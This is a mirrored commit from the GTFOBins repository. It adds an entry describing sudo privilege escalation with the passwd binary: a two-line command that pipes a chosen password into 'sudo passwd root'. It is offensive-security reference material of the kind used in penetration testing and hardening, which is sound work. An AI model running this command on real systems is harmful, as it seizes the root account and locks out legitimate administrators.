mirror of
https://github.com/GTFOBins/GTFOBins.github.io
synced 2024-12-26 06:49:44 +01:00
Create passwd.md
Add sudo privilege escalation using passwd binary
This commit is contained in:
parent
61314d55d0
commit
a5d4c6b9d0
7
_gtfobins/passwd.md
Normal file
7
_gtfobins/passwd.md
Normal file
@ -0,0 +1,7 @@
|
|||||||
|
---
|
||||||
|
functions:
|
||||||
|
sudo:
|
||||||
|
- code: |
|
||||||
|
PASS=new_password_here
|
||||||
|
echo -e "$PASS\n$PASS" | sudo passwd root
|
||||||
|
---
|
Loading…
Reference in New Issue
Block a user